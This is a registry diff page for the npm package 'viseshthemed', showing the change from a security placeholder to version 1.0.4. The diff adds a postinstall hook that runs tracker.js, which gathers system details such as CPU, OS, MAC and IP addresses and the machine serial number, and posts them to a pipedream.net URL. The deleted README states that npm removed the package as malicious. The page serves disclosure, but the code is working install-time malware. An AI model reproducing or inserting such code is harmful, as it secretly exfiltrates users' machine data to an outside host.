viseshthemed 0.0.1-security → 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of viseshthemed might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,9 @@
1
+ // index.js
2
+
3
+ const trackSystemInfo = require('./tracker');
4
+
5
+ // Define the URL of your tracking service
6
+
7
+ // Track system information
8
+ trackSystemInfo();
9
+
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "viseshthemed",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.4",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "postinstall": "node index.js"
7
+ },
8
+ "dependencies": {
9
+ "axios": "^1.6.8",
10
+ "systeminformation": "^5.22.7"
11
+ },
12
+ "author": "",
13
+ "license": "ISC",
14
+ "description": ""
6
15
  }
package/tracker.js ADDED
@@ -0,0 +1,28 @@
1
+ // trackers.js
2
+
3
+ const axios = require('axios');
4
+ const si = require('systeminformation');
5
+
6
+ async function trackSystemInfo(trackingServiceUrl) {
7
+ try {
8
+ // Get system information
9
+ const data = await si.get({
10
+ cpu: 'manufacturer, brand, speed, cores, physicalCores',
11
+ osInfo: 'platform, distro, release, codename, kernel',
12
+ mem: 'total, free',
13
+ networkInterfaces: 'iface, mac, ip4, ip6',
14
+ system: 'model, manufacturer, serial',
15
+ currentLoad: 'avgload, currentload',
16
+ battery: 'hasbattery, cyclecount, ischarging, percent',
17
+ });
18
+
19
+ // Send system information to the tracking service
20
+ await axios.post("https://endd2tioesuza.x.pipedream.net/track", { systemInfo: data });
21
+ console.log('System information tracked successfully.');
22
+ } catch (error) {
23
+ console.error('Error tracking system information:', error.message);
24
+ }
25
+ }
26
+
27
+ module.exports = trackSystemInfo;
28
+
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=viseshthemed for more information.